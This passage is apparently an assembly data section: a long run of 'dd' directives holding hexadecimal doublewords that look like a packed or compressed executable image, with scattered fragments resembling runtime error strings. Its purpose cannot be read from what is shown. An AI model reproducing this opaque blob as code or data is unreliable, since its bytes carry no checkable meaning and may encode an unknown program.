0B453A8C4h dd 0C5B61C90h, 81FC7A4Ah, 83206903h, 807B20Ch, 760D100Ch dd 0BF9BE932h, 1814C8FDh, 6200E36h, 24078320h, 300C2C28h dd 589D1C34h, 7EDFEDFEh, 3A3C3832h, 0B20D0D40h, 7444012h dd 0C8322F48h, 5854504Ch, 9C5BBB0Ch, 5C82605Fh, 70336460h dd 78742EC9h, 0FFFF77CBh, 81D8B67Ch, 0A0DFD22h, 92E4B984h dd 908C884Bh, 98942E05h, 0C4B9A89Ch, 0A0E0DFC6h, 7584A8A4h dd 5E2C3932h, 0FF9D4F46h, 6CBFFFFFh, 4053B84h, 936C8482h dd 4C11049Eh, 0DD8C9B2Eh, 115035FAh, 5D7E3F56h, 6022D6C8h dd 0FF52DD40h, 851054FFh, 11B2172Ch, 0C85C1458h, 18CB2176h dd 0F64A860h, 0FC5BF05Ch, 6C24965Bh, 85AB3A13h, 1D8535Fh dd 0AD007A85h, 0BBDFFFFEh, 0EAD8970Ah, 3C2968Ah, 0F1EB97ABh dd 32015DAh, 8317FFD7h, 0FFF46F62h, 0A5632CFFh, 0A3C61A9Eh dd 0AAB5EE73h, 0B2F7B451h, 60700C48h, 89B80A51h, 0FADD4B4Bh dd 3228CDFFh, 253A02E3h, 6EEDD0B1h, 6163342Eh, 0F43B6808h dd 1DFF85FFh, 4344B74Bh, 19B841E5h, 0A35B03EAh, 57F91AD8h dd 751A3304h, 0A97FFF5Bh, 0D2D55D6Fh, 93C488Bh, 102E0D1h dd 0B407DAE7h, 183D43C3h, 0FE05FE8Fh, 0EE468BFFh, 0E75CEB67h dd 17DC3480h, 8B66A402h, 7CD3CD6Fh, 0C5C6CE5Fh, 85FFFC4Bh dd 88EB029Bh, 66C08DACh, 0D877DF8Dh, 0B33AB6CDh, 0D6FFC1F1h dd 0D9FF54FFh, 46204BC5h, 386A7452h, 91F89932h, 0D0CB0468h dd 0FFF56EFCh, 81121EBFh, 8B07A453h, 1B051AAEh, 0BBCB00Ah dd 0BFA6CB41h, 1BFF3402h, 6D45A5FFh, 1E5D2B54h, 9E80D86Eh dd 0D05356A8h, 1915B08Bh, 0BFFFF22h, 8DFBEFDh, 0C811C859h dd 0ACC4D13h, 155720CEh, 8A5F4F59h, 0B6887C0Fh, 0FFC6C5B7h dd 1D8BA35Bh, 0D4177484h, 0E75E8345h, 0E3C07281h, 0FCBFFFFFh dd 4B0E912Fh, 85464512h, 62815A00h, 0AF801133h, 0AC3FD4C3h dd 19642FD8h, 0FFD0BF6Dh, 3B4659BFh, 815B7EF7h, 365395FEh dd 190F9060h, 2D38E32Fh, 0FFD6B80Eh, 8C4BFFFh, 516C44F3h dd 4700D40Fh, 3909C31Bh, 0AA4AFA09h, 4C77533h, 0FF011AA6h dd 84114BC2h, 0C81D02D0h, 0E47136B8h, 1B1DCC25h, 2FFFFFFh dd 4E0B56B9h, 0D46F1AFDh, 0CCB97FACh, 680FDF3Bh, 64E0531Ch dd 3321EE83h, 0FFFFFFB7h, 0BC6068FFh, 1B8ADDB6h, 0D44D5BEBh dd 992C11EEh, 0CA230A81h, 466E8F25h, 56FB54B4h, 0B5D68A23h dd 37FFFF32h, 7F655FEh, 46245022h, 0C4165BE4h, 8B5AEFE0h dd 0EB5161A2h, 6EF4845Dh, 0D0312D10h, 0C2FFFC6Fh, 2C9E0189h dd 0F803A050h, 76C0B499h, 513F281Ch, 0BF2BCC8Dh, 91BE2DF4h dd 372A37F1h, 0BC91B50h, 9903A0C1h, 0DF1CBC6Ch, 15FFFFE2h dd 38599F07h, 97622E4h, 7B77F8E3h, 0EB8C9A18h, 0A37F2A0Dh dd 0FF455960h, 29FFFFA5h, 6069884h, 0D7F0A2DEh, 71FC4AEBh dd 0CC8BA83Dh, 229458DBh, 0BD01D126h, 0FFFFD513h, 1B16ADFFh dd 33348F7Ch, 86CFCE55h, 0A84542EAh, 48BBEB5h, 1C2FC1CAh dd 0BF30C1B8h, 79BFFFC0h, 0F2EDFD20h, 72B5A001h, 49D05FC0h dd 8050A0E8h, 70E0B571h, 0FFA97F0Ch, 56E50AFFh, 4251EF99h dd 2B03D05h, 8BC6832Ah, 0B774AB54h, 7C9E00ACh, 817FFFAAh dd 0C70159FFh, 2172937Eh, 0B7FF8929h, 9C90EAAh, 0F958C8EBh dd 1ECE8205h, 0FFFFFFEAh, 8D1C8DFFh, 8B96F0FCh, 174B1B65h dd 0CA314C33h, 402681E1h, 8825510h, 0E192EE7Ch, 0D95BD9B7h dd 0FFFFFFBDh, 0F9839FFh, 82CAF603h, 18B4481h, 83A16113h dd 0AA2C9728h, 0BB550478h, 6C058385h, 835F4D1Ah, 0F8171B4Dh dd 49CCDFFh, 1E941430h, 93670AACh, 6A442CA8h, 0D69B3F44h dd 5FFFFADFh, 2859D9C5h, 594FAE8h, 0E6B90DDCh, 0A6052446h dd 0EF28B539h, 0FFFFFFFAh, 6DD85883h, 75A0339Ch, 9D2A36Ch dd 7F15B138h, 163E7027h, 0A730E848h, 20B58B2Ah, 17F837Fh dd 742AEED9h, 12E383DEh, 52237FCDh, 0FC576AFDh, 8DFE85FFh dd 0C32C653Ch, 0C9BC488Ah, 0E8D6F8D6h, 0C80F9D0h, 4D8890F4h dd 0FFFFFFABh, 0F843390Bh, 8B45ABB7h, 0D1F7798Dh, 403BC1F6h dd 8D6B0ADFh, 2BBA696Ch, 0FF3C1472h, 0EFFFF0BFh, 7AFE870Fh dd 29C26F40h, 96C67F08h, 85F637D8h, 0D0200355h, 0CB66059h dd 0FFFFFFE9h, 0C46C2DFFh, 0A212C552h, 36848648h, 0B66DBD1Ah dd 34FF2050h, 246BAE03h, 45B30384h, 0CC99C028h, 0BFFFFF56h dd 0CF41A8F5h, 6DEA16C0h, 28358D9Fh, 0BD03B065h, 2B451BA4h dd 3D1FB334h, 0EA820F39h, 12FFFC4Bh, 0FF86C50Dh, 127651Ah dd 430EFB73h, 84AB228Ch, 2FFF8541h, 0CB5A5A55h, 0A3CE583h dd 4ACBF660h, 886825CDh, 0FFFFFF15h, 1A017DFFh, 51146EAEh dd 0A1AC79DAh, 7ED0BFBAh, 6545B761h, 30EB45AFh, 0C62B9CB6h dd 666B8503h, 0FFC6EB73h, 7D62F4FFh, 2DDD995Bh, 2B980B88h dd 0A4459C81h, 77C6EE00h, 0FF978D82h, 0B97FD4BFh, 94A059B7h dd 6D75AC1Ch, 0AC6F99Bh, 4F324566h, 0B36C0049h, 0FE2DFF77h dd 18B06BFFh, 0F62E858Dh, 45B864F4h, 20258374h, 0B9A0458Ah dd 0E95EF8B5h, 25FFFF0Fh, 0D4208CFEh, 9F38497Dh, 0DCC3BD2h dd 8C6395Fh, 0D6D0400Dh, 2E409DEh, 0EDFFC432h, 0E33C40FFh dd 1C02B5BEh, 0EB4AE161h, 8ADF0197h, 284085Ah, 830EB7DEh dd 180BFFFFh, 66A9437Bh, 46C210FAh, 0FB9F8346h, 0B5C36C18h dd 2F74A3ACh, 227A97FCh, 0D9B40339h, 66FBACA7h, 4459EF3Bh dd 6F58DE05h, 606FAB71h, 0C2641E85h, 4443BC3Fh, 4BDBD374h dd 8FEDA97h, 308B68DDh, 79FE5339h, 6C8F1D9Dh, 0BFFF5262h dd 801D67F5h, 0A1D0A3D8h, 0CE4B9CF1h, 861C2DD8h, 5E9139DBh dd 0A97FFFFFh, 0DC6365D0h, 4D20F87Eh, 4D2BC3B0h, 3BB4E99Ch dd 0FAB57388h, 0FF27A5B7h, 41FFF52Fh, 8AB05DB0h, 0FA804112h dd 30E02E0Ah, 0F2C668D6h, 10885A40h, 0E17D8105h, 0A4FFFFFFh dd 0FC2BB0F3h, 60D17236h, 5DF02B33h, 2479E494h, 0CA5A0B34h dd 6B6C9401h, 0FF451578h, 2B7FFFF6h, 0B2B73B92h, 0CC46B175h dd 9A029DB0h, 916B099Dh, 98BB1A17h, 9A585E57h, 0FED82531h dd 530283EDh, 699C414Eh, 0D65EDE1h, 0FF06660Bh, 40FF46EDh dd 558B5D40h, 0DEC1A39Bh, 9DFF1089h, 84C9C7A2h, 0FA27254Ch dd 22C0BFFFh, 5708C9C3h, 0C39CFF77h, 0A496469Dh, 9E15A42Dh dd 1F60CA6h, 0DFFFFFE9h, 2CA45EA9h, 0B725EC6Ch, 0A4CAA0A4h dd 0AA3CE03h, 0DCE6859Fh, 11C60376h, 5EDFF825h, 0C3D7A062h dd 52C882A6h, 68D1CC01h, 0D7E287ABh, 5F802DFFh, 108CA56h dd 56D54A06h, 0AB04AF6Ah, 176D1DA3h, 0A0FFFFFEh, 0D0AAAE19h dd 0BD797431h, 0CB98352Fh, 8D502F3Eh, 2C353584h, 90C4B16Bh dd 0FFFFFF42h, 0B7C1D6FFh, 57351C85h, 0D47F2B94h, 5B2409EBh dd 414898E7h, 0A4DA470Eh, 0B6D992B4h, 36DDA012h, 0BFFFA57Ch dd 8CBD51C4h, 0E094831Bh, 30FF9C8Bh, 930C22E7h, 0FF330C47h dd 2CFFEB76h, 3016C5D0h, 0F0A0144Ah, 0C0462256h, 81013D6Dh dd 5E6E6B82h, 0FFF16F07h dd 0CEA28CFFh, 0EBC660FAh, 27BAD52Bh, 0E0434089h, 9C4EFF00h dd 0CF708480h, 897FFF62h, 92687BFFh, 341301Ch, 0D83698A0h dd 9A8DF708h, 24DC0EE4h, 0DE0D1867h, 41BFFF10h, 0B929688Bh dd 2E1BD530h, 46E07642h, 0C9A6B2D4h, 0C4BFDB5Ch, 48BC19FFh dd 16AEBF74h, 0A01EB90Fh, 5A314ACh, 0CB8B5016h, 2C6FFFA8h dd 617FEF4h, 99B2F2E7h, 0CA2A3DFFh, 7477D352h, 0B79D4C2Ah dd 0D4BFFEh, 0BFBF9205h, 0D2043954h, 0C7080C49h, 11FB1841h dd 4BE8DF15h, 75B738FCh, 3BA1040Ch, 0DE08D112h, 61830947h dd 0FF06FF04h, 0C05452FFh, 14F80E1Eh, 0C24C810Eh, 6A51C221h dd 1C80BD08h, 0D095718h, 0FFF8B731h, 9987A2FFh, 8B0931C8h dd 916E50ADh, 144FF0Ch, 0CD421BF7h, 3EA3D5DDh, 0FFFFFFC3h dd 14A0A1FFh, 57ED799Ch, 5E14E251h, 6EB2E21h, 0B6FC535Dh dd 0A38C7D80h, 0AF046A19h, 66E08B9Ah, 5D2FE094h, 88A3DFFAh dd 85882A7Dh, 1B3543BDh, 40B78218h, 5FD6A37Fh, 0B91B1A00h dd 0FF542A57h, 20C8991h, 0ED237DFCh, 0B8FFFFFFh, 10F94283h dd 6AEAE46Eh, 84025EFEh, 0A021D8A1h, 0B68CEE6Bh, 93859684h dd 0FFCCC2FFh, 0ABFFFFD2h, 7C11CDAh, 0EFC6DB7Ah, 0C0B75B9Bh dd 423E315Ah, 5FCE2E3Ch, 7B9BE020h, 0FFFFFFD2h, 804E75FFh dd 3372803Dh, 39707F7Ah, 35FFE74Ch, 0D16E166Bh, 0DB8E008Bh dd 2227266h, 1CA6B711h, 0C5BC0B6Dh, 1A7709FFh, 6E81FAD8h dd 674D0E8Fh, 0F54E81EBh, 0FFFFFF2Ah, 0CA2180C2h, 1E562024h dd 9C405984h, 167D1470h, 80150628h, 0BD12130Ah, 7FC9AED9h dd 81FFFF8Bh, 351E2B48h, 0ECD8BC15h, 2D2E5020h, 1E3635ECh dd 673D1EE1h, 0FF608117h, 3EFC6FFFh, 0A076157Fh, 44D3BD99h dd 2FDF35C0h, 0E23473A0h, 7D4B14F9h, 0B05ECAC4h, 0DF46F412h dd 29962EE2h, 565255F9h, 1ADC050h, 5C2FFF65h, 0CA21C468h dd 50F7FB1h, 98C67964h, 0F3050980h, 0FFD2FFC2h, 46C09716h dd 85F5F358h, 2ADF4518h, 170D76FBh, 9782B65Fh, 0B3FAB7FEh dd 7FB918A6h, 7981AFC2h, 0D139B148h, 53737690h, 0DFC0A2A2h dd 725C16E8h, 55E15294h, 7FACBE0Eh, 0DFC406FFh, 0A85E03Ah dd 4E5A32BAh, 0C42DDB55h, 0FF5C3676h, 0FFFFFFFh, 76570B62h dd 868A92D8h, 0C0AC82Fh, 38C54C21h, 296C1242h, 35E457BAh dd 7928B32Eh, 0FF8C1474h, 6506FFFFh, 676C8153h, 0B50C9AEFh dd 0B506888Bh, 0C0015606h, 1FCE02DCh, 0FFBC30FBh, 23FFFE97h dd 6DF572A3h, 510CA75Eh, 0E2545753h, 4C3EB026h, 7904A35Dh dd 0E8AD6D53h, 0FFFFF138h, 0BAD114FFh, 0C5201D62h, 0CB48B7A5h dd 0EB70BD74h, 83AF54B9h, 197ADB30h, 76BE248h, 0BFFEDFC1h dd 0FFB4151h, 60D26386h, 2C3766EEh, 0B5ABB709h, 0FF00D13Ch dd 0CFFB7FFh, 0C5567056h, 0D1E3620Bh, 10F528E6h, 0FBF7FC4Bh dd 0D82060CEh, 8BF007FCh, 0FF64F7C3h, 17FEA5FFh, 0A15FEEBAh dd 0D13057C8h, 5C0B47EBh, 0FED75429h, 0D12357FFh, 0FFDBD1E9h dd 0D1FFFFFFh, 0BD8D1EAh, 0F7F475C9h, 0EE252FF3h, 145D2EDEh dd 0E6F74421h, 3B0E722Dh, 72087727h, 0F8DEEB52h, 15E25C6Fh dd 4E212B6Eh, 0F9128E2Bh, 0DD37416Dh, 0B81709DBh, 0F79C97F0h dd 54DA30DAh, 0CA566AADh, 0FFD98B05h, 67FADFFFh, 4274C25Eh dd 8857976h, 0A5115FE1h, 558AF4FFh, 1548414h, 1234E11Dh dd 0FFFF026Ah, 546075FFh, 32FD2397h, 77013014h, 2188AC54h dd 4F04A0A3h, 5A8ECC0Ah, 75BF6205h, 3751FFA9h, 0B1FC8860h dd 0CFAA414Ah, 4B69076h, 0FEE06AEFh, 58FFFFFFh, 431B11FFh dd 35231F75h, 0CBA4192h, 1B4B8A7h, 0FCDF6EDh, 0F1954DAFh dd 3A9A689h, 2FFE0E01h, 3A318094h, 90176221h, 4B0F6977h dd 0FF8531F0h, 0C3840DFFh, 4425050Bh, 3784117Ch, 5195F23h dd 0B875E2B8h, 0E25FFFD9h, 0DBA2BFFh, 11A94768h, 618C571Eh dd 75100DABh, 12BF5661h, 0A7215D01h, 0BFFFFF14h, 6F04CF0h dd 7233C163h, 0BB8D1067h, 0F58A2459h, 0F1B7B3C2h, 6A611086h dd 564D69E7h, 0AFFFFFFh, 3EEB11EFh, 23A5270Dh, 431108EFh dd 7C577F20h, 0A3F41D7Eh, 0EF357870h, 0FFFAA8D6h, 641D6815h dd 0F9F37B1Ch, 5C3D6035h, 702F7D6Fh, 7C0DFF89h, 8E472391h dd 2519581Dh, 0CDE61F50h, 8DA97F2Dh, 805C4CAAh, 0D40774AEh dd 517BBE7Eh, 4F551D5h, 550F78A3h, 0FFFFF884h, 0DAAC51BFh dd 1402CCDBh, 1CA10177h, 0CD06DB29h, 68130DE6h, 1DC07309h dd 13EED6Ch, 0D551BE97h, 0A1323E08h, 8CBDDB54h, 0D8DFFF0Ah dd 346BDCF8h, 32FA8DB8h, 0BA606A56h, 68DF049Fh, 0A40F35Ch dd 0FFB7FE44h, 888593FFh, 209FAFh, 25010178h, 409C858h dd 2335E691h, 0F4C655C5h, 0CC2F3BC9h, 2DFFFFEAh, 5DC88038h dd 91C10F70h, 12327705h, 0B252F648h, 2877FC80h, 297FFF45h dd 0CA020320h, 5224E00Dh, 13DBAFEh, 0A4C8DC9Fh, 755BFFA8h dd 487F5055h, 0FC762E08h, 460043C9h, 0C37FFFD4h, 0A3939810h dd 97CB3D28h, 3A6A8DB7h, 0F6062C93h, 0AB42FE17h, 4289DC9h dd 89B33D3Dh, 6C6821BEh, 0CAFFFFF4h, 3FB37C3Eh, 0C8E08459h dd 40B34417h, 1AF01208h, 6AB73C82h, 0FFD446ECh, 0CF407B16h dd 1B0F8B64h, 0DB7BD51Bh, 0FFD4477Fh, 0B151FA83h, 2BDD8952h dd 0DA34D9F1h, 1FBB51A6h, 0FD446409h, 0F60BA8FFh, 44080BEBh dd 0BFF88B0Ch, 0CB078550h, 0FFFED4BEh, 3401A005h, 0A46E13F6h dd 0AA040888h, 0A10E96A1h, 10566E20h, 8DFE0DFFh, 0A42AB43h dd 5170158Fh, 0D43E73EEh, 0FB345B28h, 0FFD0BD0Ah, 225980FFh dd 2143A028h, 61D08A4Ah, 88A7688Ah, 6C9013D3h, 0FE15D25Fh dd 0E146FFFh, 2768AC8h, 0CDCCABB0h, 2C3CB10Dh, 0C338C4B8h dd 0FFFF04B9h, 3A3AA506h, 23D06CD9h, 4B11C4DDh, 25E06Fh dd 0BFC8ACF0h, 72FFFFF1h, 94A88B0Ah, 2FA1E16Ah, 0C32404D2h dd 5985652Dh, 740FADE9h, 3B5B7C21h, 0FFFF810Dh, 53733BFFh dd 89C125Fh, 0D8AF1746h, 4F475013h, 0E40F6C6h, 0E0DAA35h dd 6EFB4506h, 1D7EB7FFh, 0B796232Bh, 404910BFh, 53137549h dd 0A5EBF46Ah, 0FFFFEBF5h, 0C45785FFh, 0CAA59C5Bh, 60CB7E8h dd 653406FFh, 2D154CD4h, 0A3021618h, 0BACD2849h, 17F897D0h dd 8327A1E2h, 1A7322D8h, 2BDF7ABAh, 37FFC2D2h, 24759648h dd 0CA45C0BCh, 0CD1309E2h, 9B6960B4h, 0FFFFFFFFh, 8180C7BDh dd 0F7673C55h, 54B1B42Ah, 5EE82693h, 0F8A9368Bh, 0F2B5196h dd 8185A61Ah, 56882902h, 83FFFA17h, 4A04BC4Ah, 0D0BD4DA9h dd 58A13147h, 87CF5CAAh, 0FFFFFC2Fh, 38CC187Ah, 3C50290Ch dd 671E92D7h, 0B6CF6587h, 0E56C61B2h, 64913337h, 0FFFFFF04h dd 0E5A8328Dh, 0D50D8EC2h, 74B7E035h, 6F54964Eh, 0B1FBC00h dd 0CD0B054Dh, 0FF380CA1h, 0B8FF4BFFh, 6B67700h, 0EB010D66h dd 0EEA046DAh, 51084617h, 67D1F44Bh, 0D7F5493Bh, 0FFFC6F33h dd 75023BFFh, 89D03BDBh, 0AAD40C4Fh, 0EAF24310h, 0E004A8E9h dd 0FA0F5032h, 0DE9D3DE8h, 0BDFE2DF8h, 885C0D68h, 0A37E8059h dd 52F05556h, 0E2EC8330h, 97FFFFFFh, 0F98E182Ch, 545E6A08h dd 6BB302BCh, 385E5244h, 0E39CF424h, 2D137480h, 0E10E7410h dd 68FB7FFFh, 0B088DA10h, 16426607h, 82743Ah, 0C5161457h dd 2220C4ACh, 0FFCB04F9h, 0ED7FFFFFh, 8260EB6h, 0D0073656h dd 0ACCA6A54h, 0EE42061Ah, 7DC90832h, 0FE251939h, 0B9ACC44Fh dd 5E05FF01h, 39257EE0h, 71207CCAh, 726FA144h, 0C2950F08h dd 0BFFFFB8h, 9E60CFDh dd 0D577B9CDh, 2DBBE184h, 0B43D2487h, 323BB1F1h, 5E382072h dd 0FFFFFFF4h, 809B1BFFh, 0E859E591h, 4D654F0Fh, 80B03161h dd 0C6E3BED0h, 5AC7338Ch, 941E70CCh, 5A50C069h, 0F85FF12Ch dd 82B0B1FFh, 3A376D4Bh, 7523618h, 3A6BA9Dh, 0BB23C862h dd 0FFBDBE31h, 622FFFFFh, 0A3252D50h, 8D3FEA45h, 0FC685FFFh dd 3BEE02EAh, 577D753Dh, 3558A5C3h, 835E7F2Ah, 0A8A5FFFFh dd 39F1A066h, 0EB447418h, 5F1183A7h, 874D0FDh, 0FF488BC5h dd 37FFC0Bh, 5DEC46D4h, 7C14FF2Ah, 7C912628h, 569CCF04h dd 65B113Ch, 0FFFFFF32h, 66ACFEFFh, 61CA52Eh, 0D39EEB47h dd 0F192C410h, 84B17DC0h, 0EAF011C3h, 0B1435782h, 7B452FC2h dd 7FF42F80h, 0F3DFE189h, 0A9663F75h, 2A5F3108h, 8145B6Eh dd 85FFFF93h, 6E2B3EFEh, 50572C7Eh, 0BC0118C4h, 0DDE38C59h dd 0B4921D06h, 0C084360Fh, 52B7FF79h, 0EBEA0FFFh, 0FD76E021h dd 0CBABC389h, 80582814h, 6683385Dh, 0FEA5FDE9h, 0EA306FFh dd 47749946h, 8F590975h, 0C1B33E2Ah, 15A68653h, 0F548808Eh dd 2D1BE2DFh, 46D9BF0Ah, 0C661623Ah, 8E41F507h, 0F8DFFFE6h dd 441B2D2Fh, 0D82909B1h, 0DC1E702Eh, 62B616C0h, 75840E42h dd 0FE7F3544h, 0CCEB7837h, 0B34F7D41h, 39B58DFCh, 3B457438h dd 445E841Bh, 0B78B7FF5h, 20566BCEh, 0E91302A7h, 1BB7AD3Fh dd 17E6B0C4h, 6E2FFFFEh, 55392F1Eh, 0C8CDD217h, 0C0681187h dd 19EB1EE8h, 144FD539h, 0FFFFF88Dh, 7690BDC6h, 808DDCFFh dd 75DC4541h, 0EB46CCCCh, 0C20D8D84h, 7CE01A43h, 17FFFFFFh dd 2F45CFA6h, 74F510A1h, 50B2FBC1h, 1CF6C30h, 0DC7DBC78h dd 42F0EB30h, 5B111308h, 34F0B85Dh, 0EAB46348h, 47FFECBDh dd 0F65DB85Dh, 1CFFFFFFh, 22C30CFh, 2C4628C4h, 9E2D52A7h dd 8013415Ah, 8DF4426Ah, 0B44C76DAh, 0E2BA34C4h, 0FFFFFFFFh dd 6F76B5BDh, 0C97C0204h, 957F2405h, 1E8A5356h, 11DAA841h dd 0E017E7Fh, 0A599AB55h, 0F4EC6A17h, 86FFFFE5h, 75518C1Bh dd 17EC1142h, 550B2A91h, 42EE18CEh, 8A05BEB7h, 0FF834B1Fh dd 0FB23BD5Bh, 70A28A2Dh, 18EA0585h, 2BD8EB02h, 0F5BF2B0Ah dd 0D882637Fh, 498C031Fh, 3E65D657h, 247984F6h, 9D378F0Fh dd 0FE0DFFFFh, 0CDFF282Ah, 0F730EAA5h, 8A340A14h, 74783C07h dd 0DB583C0Dh, 12633DD3h, 0A97FFFFFh, 0A10A308h, 632F1036h dd 2E8406BBh, 4250E75h, 0C8470475h, 627DE394h, 0FFF4BFFDh dd 652A8EB1h, 6A970Bh, 0CB9CB9Fh, 0AAD80431h, 9574A5FEh dd 0E983CBBEh, 0BFFFFC1Bh, 3851ADDh, 0DFC6DDB4h, 0CB8A31B1h dd 0C161E980h, 3771619h, 5FFF54CDh, 6FF7F028h, 2B51C18Ch dd 8B11973h, 405E7216h, 4F27B7DDh, 0FFFF817Fh, 2176CA3Bh dd 0B75F040Eh, 6382DD11h, 207A4F18h, 86C4B30Dh, 0A00C7D9Fh dd 0FF897E97h, 0C08B5CEBh, 752FD33Fh, 0D9031EAFh, 598CF7A3h dd 0FFA9DBBEh, 6C2FFFFh, 1B754077h, 103EA7A8h, 8881BD02h dd 480AEEE8h, 9778093h, 0A9042CE2h, 7FFFFF83h, 27760E17h dd 150F69Dh, 8C32342h, 592774B5h, 0C44E954Bh, 0B3118ADBh dd 7FFFD1BFh, 73D637F6h, 53522D0Dh, 2A38D132h, 8426A247h dd 0BE61F7F1h, 0BFF158Bh, 0E12FFFCh, 23187B5Bh, 5D55D930h dd 2A0E438Eh, 1087A5DBh, 0D850DB0Dh, 85FF0775h, 0E322C5BFh dd 6869A137h, 0F50DC2BEh, 0AF814081h, 3E06F55Ch, 0A944BFFFh dd 74AF77EFh, 770B494Dh, 0B7E9DFD5h, 0B65AB341h, 0FFEDE85Fh dd 0A266720h, 1B746FE4h, 6BAAD950h, 7A3A2623h, 72E7FFEEh dd 0FFF6FFFFh, 77E33A06h, 3AE60202h, 0C6C309C7h, 0C10B7512h dd 0B3A06ED6h, 0AC933D1h, 62A6B9FEh, 0FFE8DC1Bh, 7250378Bh dd 61D9F702h, 0C001EB5Bh, 423EE741h, 0A37FF06Fh, 68F5DA1Eh dd 0A34633A4h, 0F830E20h, 4556C72Eh, 0F5BF85FFh, 73AC6298h dd 4ACD970Eh, 31D67A34h, 0B5705E11h, 6292582Ah, 0FFFFFFF0h dd 8FF4D4Bh, 0B1CF6E9h, 0F642EBC3h, 0AC37DC46h, 5059B6A7h dd 8168D836h, 55FBB046h, 28DE8DFFh, 57D1D02h, 8A0CB849h dd 4B7F0725h, 0FFFF990Ah, 55E2FFFFh, 1C7E1DB4h, 207F0C02h dd 51F90C53h, 4ABB0398h, 75C50D9Ah, 86820CF7h, 31856BC0h dd 0FFC05C4Bh, 0F804FFFFh, 2F80C6BDh, 19C5099Ah, 0DB98E2A7h dd 0D533C526h, 5999245Eh, 0BB213159h, 0BE0237C1h, 24134AEEh dd 0D8C6B548h, 0F6FF1B3Fh, 3035BFFFh, 9002636Ah, 1D58AD91h dd 931C3CD0h, 0E0F9967h, 0B4C39516h, 406EC2Bh, 0FFFFE0D0h dd 27403E35h, 59FC3C5Dh, 870BF852h, 4398190Eh, 0CF0A1904h dd 6FFFFFFFh, 1D591970h, 18AC0FB1h, 0C6319E58h, 62ACD0DEh dd 0AF066F25h, 7EC60C36h, 680A01C8h, 16FFFFFFh, 0F722A13Dh dd 553B3E1h, 2CC16D98h, 9030236h, 3770311Ah, 1A5BD386h dd 0F5BFAB7Fh, 7D5BB537h, 4D4D9A0Ah, 9C7601C1h, 82D7A1BDh dd 5B1A71F6h, 8F01FFFCh, 0B6AF02FEh, 0A1D35A8h, 3D169Eh dd 0FA25707Eh, 0E70D5BFFh, 6EC9930Ah, 561C7469h, 0AA0A4CD7h dd 0FF0548B1h, 92B7FFFFh, 6A10747h, 0E3E8AECBh, 8DA0C659h dd 5A3740AAh, 3883D057h, 0B4E618C4h, 7FFF8721h, 3640FFA9h dd 0C84AD8D9h, 0AD78FC71h, 20C7660Eh, 100FEB62h, 98214E40h dd 0D0BF77C8h, 0E4B0FFFFh, 8A608828h, 41FA1E41h, 74042E0Ah dd 6681AB1Ah, 4A00FB58h, 46FC0185h, 0CD2CFFFFh, 2D6D3085h dd 930402BFh, 42D13DBEh, 0DDBF08C5h, 24F43D14h, 4BFFFFFFh dd 46ACD94Dh, 78614356h, 0FD3B2156h, 0EF118B72h, 55D4AAB2h dd 0A9455800h, 0BF466A60h, 0AB4CB7FDh, 14234404h, 451E886Bh dd 60E400D4h, 0E896972Eh, 0F3F816DFh, 0ED037F39h, 0F6C3FA44h dd 73AA5A12h, 0FC0BB499h, 0BD406DFh, 0E84AFFFFh, 4317C413h dd 0BE78459Bh, 6FFFB7FFh, 65636F01h, 0E8DF7373h, 6D116F2Fh dd 2E650A73h, 586C6C64h, 69746E75h, 0FFC0BFFFh, 0FB7052D5h dd 6520656Dh, 0F4AA1D72h, 0ACDFF20Ah, 4C5414BCh, 0E114Fh dd 0FFFFFFFFh, 474E4953h, 2DED65Fh, 414D4F7Bh, 36521112h dd 0FFB6DF30h, 83433DBh, 61206E41h, 696C7070h, 0FFFFFFFFh dd 6F516163h, 7361680Bh, 0BBE85F20h, 64616DEDh, 7417615Ah dd 706D6574h, 206F74DFh, 0B6EC366Ch, 0FD0BFFD4h, 7136FB5h dd 7B661668h, 0B9BFF632h, 617262FFh, 0A17F7972h, 97E652FFh dd 6C746398h, 540A2E79h, 0AF604065h, 0F4BAB5BCh, 111BDA0Dh dd 9B5D1383h, 5B46ED6Bh, 0FFFFFF73h, 192EE55Fh, 9D636D27h dd 6620DD73h, 43D46DBCh, 2E236D0Ah, 66CE5ECBh, 2D339FADh dd 0FFFF4120h, 6D86FFFFh, 75BADB9Dh, 4CD84D5Bh, 0C966A260h dd 0B5BB7D6Dh, 556962D6h, 626D1873h, 75642080h, 0FE256D72h dd 0D7DFF8B7h, 77674BBDh, 6486764Ah, 610C695Bh, 6C2F207Dh dd 82B2FFF4h, 2F540A7Ah, 65926413h, 39F0D607h, 0F677591h dd 0FFFE37FFh, 3A6F7920h, 0EEDC2EABh, 4920DAE6h, 0F69F2A72h dd 5D656BEBh, 0F6B6DDADh, 7FFDADCEh, 6CC2FFE1h, 5D666F11h dd 33E56D54h, 93291DBCh, 5B69A52Dh, 0FFA17F68h, 0FFFF2827h dd 6C836FFFh, 289E2972h, 76854963h, 61A7D9D9h, 44516E94h dd 6B9CC6DEh, 1C02FC1Ah, 0DAAD4944h, 69D306FFh, 0CDF3EDB5h dd 6E32F7FBh, 0BFDB783Dh, 0B0E1DBF0h, 35689E00h, 88634D70h dd 9C109081h, 26803076h, 4BDBE25Fh, 65FB31C5h, 0C3BDCD54h dd 0B40CE152h, 0FFFF533Ah, 9D2EE05Fh, 9B0FDEC3h, 65D83930h dd 609F49EFh, 38321F64h dd 0DBB985B5h, 0A5FF61FAh, 0A662FC2Fh, 640D8182h, 27AD4F86h dd 65C8D437h, 0B770A121h, 0FFF43637h, 33EF6DBh, 64A953C9h dd 0A12C7555h, 76FDEC6Dh, 21758069h, 5FF53A0h, 3BBF2FFEh dd 345F28C9h, 35AF6B5Fh, 2F91126Dh, 0E2DC0658h, 1B460BDAh dd 0D93BFADDh, 0F239315Fh, 0B8B73F70h, 0A1697CEFh, 0EF3B6FD5h dd 64D3F2Bh, 0FF1B4638h, 31FA6FFFh, 83A40DF2h, 3723AB19h dd 431CDB53h, 6875766Dh, 0B28089BFh, 0FFF46FFFh, 2F6B050Eh dd 1B6E8417h, 0B764346Ch, 2BF20D4Eh, 0F4D246DCh, 0FF757122h dd 0FFFA5FFFh, 0D26F6868h, 0E45229C7h, 0C1C712C8h, 0BB69F8E1h dd 20EEEF74h, 1CB5287Dh, 7EB44088h, 6177F4BBh, 40BA4BF2h dd 7310C1C3h, 2F4335ADh, 2FFF897Fh, 0BE2B2D63h, 38E4295Bh dd 28756795h, 0C99EC773h, 0C4663257h, 0FFFFFFFFh, 5EBCB074h dd 58DADB2h, 0DE429674h, 66DB5A16h, 0B94D00C1h, 3566B568h dd 15DD8F09h, 43E56956h, 0A17FF46Fh, 0B64C342Bh, 0F49BEEB7h dd 2E2D0A27h, 2E703C05h, 0FC2FFC5Ah, 6736DE67h, 